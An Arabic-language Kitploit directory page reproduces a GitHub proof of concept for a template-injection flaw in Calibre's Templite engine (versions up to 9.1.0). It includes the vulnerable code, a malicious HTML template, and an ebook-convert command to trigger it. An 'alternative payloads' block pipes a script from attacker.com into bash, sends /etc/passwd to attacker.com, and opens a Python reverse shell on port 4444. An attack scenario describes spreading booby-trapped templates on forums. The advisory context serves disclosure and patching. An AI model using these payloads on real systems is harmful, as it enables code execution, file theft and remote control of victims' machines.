Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-25731 — إثبات المفهوم لثغرة حقن القوالب من جانب الخادم (SSTI) في محرك Templite الخاص بـ Calibre (GHSA-xrh9-w7qx-3gcc). يوضح تنفيذ كود Python تعسفي عبر قوالب تصدير HTML المقدمة من المستخدم في الإصدارات المتأثرة (≤ 9.1.0). | Kitploit
أدوات/GitHubGitHub/dxleryt/cve-2026-25731
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبتطوير الحمولات
GitHubdxleryt/cve-2026-25731

CVE-2026-25731

إثبات المفهوم لثغرة حقن القوالب من جانب الخادم (SSTI) في محرك Templite الخاص بـ Calibre (GHSA-xrh9-w7qx-3gcc). يوضح تنفيذ كود Python تعسفي عبر قوالب تصدير HTML المقدمة من المستخدم في الإصدارات المتأثرة (≤ 9.1.0).

عرض المستودع
5منذ 6 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

ثغرة حقن القوالب من جانب الخادم (SSTI) في محرك Templite

الخطورة: عالية (CVSS 7.8)

البرنامج المتأثر: calibre <= 9.1.0

تم التصحيح في الإصدار: 9.2.0

النشرة الأمنية: GHSA-xrh9-w7qx-3gcc

الملخص

ثغرة حقن القوالب من جانب الخادم (SSTI) في محرك القوالب Templite الخاص ببرنامج Calibre تسمح بتنفيذ أكواد عشوائية عندما يقوم المستخدم بتحويل كتاب إلكتروني باستخدام ملف قالب مخصص خبيث عبر خيارات سطر الأوامر --template-html أو --template-html-index.

التفاصيل

يقوم محرك Templite (src/templite/__init__.py) بتجميع وتقييم القوالب باستخدام دوال Python compile() و eval() دون أي عزل (sandboxing):

الكود الضعيف في src/templite/__init__.py:

root@kitploit:~
# Line 72: Template is compiled to Python code
self.__code = compile('\n'.join(tokens), '<templite %r>' % template[:20], 'exec')

# Line 90: Compiled code is executed via eval()
def render(self, __namespace=None, **kw):
    # ...
    eval(self.__code, namespace)  # Arbitrary code execution

متجه الهجوم في src/calibre/ebooks/conversion/plugins/html_output.py:

root@kitploit:~
# Lines 96-98: User-supplied template file is loaded
if opts.template_html_index is not None:
    with open(opts.template_html_index, 'rb') as f:
        template_html_index_data = f.read()

# Line 136: Template is passed to vulnerable Templite engine
templite = Templite(template_html_index_data)

يوجد النمط نفسه لخيار --template-html (الأسطر 102-106، 200).

إثبات المفهوم (PoC)

1. إنشاء ملف قالب خبيث

احفظ ما يلي باسم malicious_template.tmpl:

root@kitploit:~
<!DOCTYPE html>
<html>
<head><title>Malicious Template</title></head>
<body>
<h1>Book converted!</h1>
<!-- SSTI payload executes arbitrary commands -->
${emit(__import__("os").popen("id > /tmp/pwned.txt").read())}$
${emit(__import__("os").popen("whoami").read())}$
</body>
</html>

2. تنفيذ تحويل الكتاب الإلكتروني باستخدام القالب الخبيث

root@kitploit:~
# Convert any ebook using the malicious template
ebook-convert input.epub output.zip --template-html=malicious_template.tmpl

3. التحقق من تنفيذ الكود

root@kitploit:~
cat /tmp/pwned.txt
# Output: uid=501(username) gid=20(staff) groups=...

حمولات بديلة

root@kitploit:~
# Command execution
${emit(__import__("os").popen("curl attacker.com/shell.sh | bash").read())}$

# File exfiltration
${emit(__import__("os").popen("curl -d @/etc/passwd attacker.com").read())}$

# Reverse shell
${emit(__import__("os").system("python3 -c 'import socket,subprocess;s=socket.socket();s.connect((\"attacker.com\",4444));subprocess.call([\"/bin/sh\",\"-i\"],stdin=s.fileno(),stdout=s.fileno(),stderr=s.fileno())'"))}$

تحقق مستقل

root@kitploit:~
#!/usr/bin/env python3
import sys
sys.path.insert(0, '/path/to/calibre/src')
from templite import Templite

# Command execution
t = Templite('${emit(__import__("os").popen("whoami").read())}$')
print("User:", t.render())  # Prints current username

# File read
t = Templite('${emit(open("/etc/passwd").readline())}$')
print("File:", t.render())  # Prints first line of /etc/passwd

التأثير

من المتأثر:

  • المستخدمون الذين يقومون بتنزيل واستخدام قوالب تصدير HTML من جهات خارجية
  • المستخدمون الذين يستخدمون قوالب تتم مشاركتها على المنتديات أو GitHub أو مصادر أخرى
  • الأنظمة التي تشغل Calibre في خطوط أنابيب آلية مع قوالب مقدمة من المستخدم

سيناريو الهجوم:

  1. يقوم المهاجم بإنشاء قالب HTML يبدو شرعياً مع حمولة SSTI مدمجة
  2. يشارك المهاجم القالب على منتديات Calibre أو Reddit أو GitHub
  3. يقوم الضحية بتنزيل القالب واستخدامه: ebook-convert book.epub out.zip --template-html=template.tmpl
  4. يتم تنفيذ كود عشوائي بصلاحيات الضحية
تنزيل الأداة